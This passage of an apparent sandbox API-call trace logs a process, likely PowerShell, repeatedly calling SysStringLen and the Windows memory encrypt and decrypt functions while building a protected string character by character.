OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.085] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹Ń뱎⅞藵꨽") returned 0x28 [0225.085] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹Ń뱎⅞藵꨽") returned 0x28 [0225.085] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.085] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3un䗽⻲솎Â") returned 0x28 [0225.085] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.085] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹ꭤ氣훂뙷￴䧷㗯") returned 0x28 [0225.086] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹ꭤ氣훂뙷￴䧷㗯") returned 0x28 [0225.086] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.086] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ung䗽⻲솎Â") returned 0x28 [0225.086] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.086] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹ৼ才잧ྜ劀䀣ﮤ") returned 0x28 [0225.086] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹ৼ才잧ྜ劀䀣ﮤ") returned 0x28 [0225.086] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.086] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungH䗽⻲솎Â") returned 0x28 [0225.086] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.086] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹츑ܙ퀺Ꝡ뫿ᦕ螱爊") returned 0x28 [0225.086] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹츑ܙ퀺Ꝡ뫿ᦕ螱爊") returned 0x28 [0225.086] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.087] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungHS⻲솎Â") returned 0x28 [0225.087] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.087] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹꜊掵쇛蝛\㻫ꠤ≒) returned 0x28 [0225.087] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹꜊掵쇛蝛\㻫ꠤ≒) returned 0x28 [0225.087] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.087] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungHSv솎Â") returned 0x28 [0225.087] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.087] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹㵵鱟\嗜랢誅⭡⋄) returned 0x28 [0225.087] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹㵵鱟\嗜랢誅⭡⋄) returned 0x28 [0225.087] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.088] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungHSvwÂ") returned 0x28 [0225.088] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.088] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹⚗ܮ螛邮㒅턂皱") returned 0x28 [0225.088] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹⚗ܮ螛邮㒅턂皱") returned 0x28 [0225.088] SystemFunction041 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.088] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungHSvwM") returned 0x28 [0225.088] SystemFunction040 (in: Memory=0x5c923cc, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x5c923cc) returned 0x0 [0225.088] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱") returned 0x28 [0225.088] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱") returned 0x28 [0225.089] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱") returned 0x28 [0225.089] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱") returned 0x30 [0225.089] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0225.089] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungHSvwMr莤싮풦鱅뻰긊") returned 0x30 [0225.089] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0225.089] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱᱇곁쁹쪪⁡蕓ᩒ") returned 0x30 [0225.089] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱᱇곁쁹쪪⁡蕓ᩒ") returned 0x30 [0225.089] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0225.090] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungHSvwMrB싮풦鱅뻰긊") returned 0x30 [0225.090] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0225.090] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱끵㾚ᷖᬪᓰᬚ꘧") returned 0x30 [0225.090] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱끵㾚ᷖᬪᓰᬚ꘧") returned 0x30 [0225.090] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0225.090] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungHSvwMrBo풦鱅뻰긊") returned 0x30 [0225.090] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0225.090] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱쭱뛦蹠\ෟᦆ躪⊈) returned 0x30 [0225.090] SysStringLen (param_1="朡冴獍垿៥\\磜䷙蒊\ᯘ\远穾矛躱儆鹿ぴ锗㥖쵫ᵵ腴䴲蔣哋츒颍닽췹솫묱떇湨ឪ࢏钸挱쭱뛦蹠\ෟᦆ躪⊈) returned 0x30 [0225.090] SystemFunction041 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0225.091] SysStringLen (param_1="5xUNJrUjtigAvso4LbGY4lqKGMKisqx3ungHSvwMrBo=鱅뻰긊") returned 0x30 [0225.091] SystemFunction040 (in: Memory=0x5c92e9c, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x5c92e9c) returned 0x0 [0225.091] EtwEventActivityIdControl () returned 0x0 [0225.091] EtwEventActivityIdControl () returned 0x0 [0225.092] EtwEventActivityIdControl () returned 0x0 [0225.092] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0225.092] EtwEventActivityIdControl () returned 0x0 [0225.093] EtwEventActivityIdControl () returned 0x0 [0225.093] EtwEventActivityIdControl () returned 0x0 [0225.094] SysStringLen (param_1="") returned 0x8 [0225.094] SysStringLen (param_1="N") returned 0x8 [0225.094] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.094] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0225.094] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0225.094] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.094] SysStringLen (param_1="ND") returned 0x8 [0225.094] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.094] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0225.094] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0225.094] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.095] SysStringLen (param_1="NDZ") returned 0x8 [0225.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.095] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0225.095] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0225.095] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.095] SysStringLen (param_1="NDZl") returned 0x8 [0225.095] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.095] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0225.095] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0225.095] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.096] SysStringLen (param_1="NDZlO") returned 0x8 [0225.096] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.096] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0225.096] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0225.096] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.096] SysStringLen (param_1="NDZlOD") returned 0x8 [0225.096] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.096] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0225.096] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0225.096] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.097] SysStringLen (param_1="NDZlODR") returned 0x8 [0225.097] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.097] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0225.214] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0225.214] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.215] SysStringLen (param_1="NDZlODRm") returned 0x8 [0225.215] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0225.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0225.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0225.215] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0225.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0225.216] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.216] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0225.216] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0225.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0225.216] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.216] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0225.216] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0225.216] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0225.216] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.217] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0225.217] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0225.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0225.217] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.217] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0225.217] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0225.217] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0225.217] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.217] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0225.217] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0225.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0225.218] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.218] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0225.218] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0225.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0225.218] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.218] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0225.218] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0225.218] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0225.218] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.218] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0225.218] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0225.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0225.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0225.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0225.219] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0225.219] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.219] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0225.219] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0225.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0225.220] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.220] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0225.220] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0225.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0225.220] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.220] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0225.220] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0225.220] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0225.220] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.221] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0225.221] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0225.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0225.221] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.221] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0225.221] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0225.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0225.221] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.221] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0225.221] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0225.221] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0225.221] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.222] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0225.222] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0225.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0225.222] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.222] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0225.222] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0225.222] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0225.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0225.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0225.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0225.224] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.224] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0225.224] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.224] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0225.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0225.225] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.225] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0225.225] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0225.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0225.225] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.225] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0225.225] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0225.225] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0225.225] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0225.225] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0225.225] SystemFunction040 